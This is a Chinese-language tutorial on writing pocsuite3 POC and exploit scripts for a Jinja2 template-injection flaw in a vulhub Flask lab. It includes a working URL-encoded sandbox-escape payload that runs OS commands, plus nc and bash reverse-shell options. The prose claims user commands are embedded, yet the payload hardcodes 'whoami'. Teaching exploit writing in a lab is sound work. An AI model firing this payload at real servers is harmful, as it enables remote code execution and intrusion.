在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了。POC全称是Proof of Concept,中文译作概念验证。它是专门为了验证漏洞是否真的存在的脚本。而EXP全称是Exploit,中文译作漏洞利用程序。它是对POC验证结果的一种漏洞利用脚本。
因为市面上有关POC和EXP脚本的教程比较稀少,但是比较明确的是想要写好POC和EXP,一般都要有一些网络编程的基础,python的要会基本的爬虫,Java的输入输出流等,更高级点的涉及到pwn模块的软件漏洞利用和汇编反汇编的知识,总的来说,对厉害的人来说这些都是小case,对小白来说这都是天方夜谭、无从下手。写POC和EXP的思路是最重要的,明白漏洞在哪,从那里开始发散思路,因此要对漏洞原理了熟于心。
Pocsuite是一款基于漏洞与POC的远程漏洞验证框架,支持Windows/Linux/Mac OS X等系统,整个框架操作灵活,既方便了对漏洞的管理、查找等,也提高了工作效率。
安装步骤
方法一:通过git命令来克隆GitHub进行下载
git clone git@github.com:nopesec/pocsuite3.git
方法二:使用wget
命令下载对应的zip包进行安装
wget https://github.com/knownsec/pocsuite3/archive/master.zip
方法三:直接使用pip命令进行安装(本人使用的是这个,但是网络不稳定)
pip3 install pocsuite3
完成安装后输入pocsuite -version
查看poc的版本,pocsuite3不支持python2版本,必须是python3才能安装成功。
Pocsuite3的参数及作用
参考它的文档
下载github中的文件并使用docker-compose搭建起flask环境
git clone https://github.com/vulhub/vulhub
cd vulhub
docker-compose build //编译下载漏洞环境所需的配置
docker-compose up -d //启动漏洞环境
Flask依赖中就有造成模板注入漏洞的插件Jinja2的模板引擎,Jinja2是一个面向Python的模板语言。我们先来审计源码
从这里可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。
我们在GET请求中传入一个任意参数,成功将模板语言传递到参数中
POC的命名形式为:组成漏洞应用名_版本号_漏洞类型名称,形如_1847_seeyon_3_1_login_info_disclosure.py
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class FlaskPOC(POCBase):
vulID = '1.1' #ssvid ID,如果是提交漏洞的同时提交POC,则写成0
version = '1.1' #默认为1
author = ['1.1'] #POC作者的名字
vulDate = '1.1' #漏洞公开的时间,不明确是可以写今天
createDate = '1.1' #编写POC的日期
updateDate = '1.1' #POC更新的时间,默认和编写时间一样
references = ['flask'] #漏洞地址来源,0day不用写
name = 'flask' #POC名称
appPowerLink = 'flask' #漏洞厂商的主页地址
appName = 'flask' #漏洞应用名称
appVersion = 'flask' #漏洞影响版本
vulType = VUL_TYPE.CODE_EXECUTION #漏洞类型
desc = '''
''' #漏洞简要描述
samples = ['127.0.0.1:8000'] #测试样例,使用POC测试成功的网站
category = POC_CATEGORY.EXPLOITS.REMOTE
def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o
def _verify(self):
result = {
}
path = "?name="
url = self.url + path
# print(url)
payload = "{
{22*22}}"
# print(payload)
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_output(result)
def parse_output(self,result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(FlaskPOC)
上面使用了一个简单的payload便验证了这个漏洞确实是存在的,如果返回状态码为200,则代表网页正常请求,若返回的payload值为484,则表示服务器将url传入的payload正常执行,说明此处存在安全漏洞。
EXP脚本的编写和POC脚本编写一样,只需要加多一段漏洞利用代码即可。关于Jinja2注入的方法,官方给出的方法是在模板环境中注册函数就可以进行调用了。这里需要用到Python沙盒逃逸的方法。
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class FlaskEXP(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['flask']
name = 'flask'
appPowerLink = 'flask'
appName = 'flask'
appVersion = 'flask'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''
'''
samples = ['127.0.0.1:8000']
category = POC_CATEGORY.EXPLOITS.REMOTE
def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o
def _attack(self):
result = {
}
path = "/?name="
url = self.url + path
# print(url)
cmd = self.get_option("command")
payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
# print(payload)
try:
resq = requests.get(url + payload)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print(t)
t = t.replace(" ", "")
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(FlaskEXP)
def _options(self):
o = OrderedDict()
payload = {
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
return o
接下来创造了一个cmd变量,用于接收用户的command命令参数,并嵌入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目标系统,这样就能够在目标系统中执行命令了。
def _attack(self):
result = {
}
path = "/?name="
url = self.url + path
# print(url)
cmd = self.get_option("command")
payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
# print(payload)
try:
resq = requests.get(url + payload)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print(t)
t = t.replace(" ", "")
result['VerifyInfo'] = {
}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception as e:
return
return self.parse_attack(result)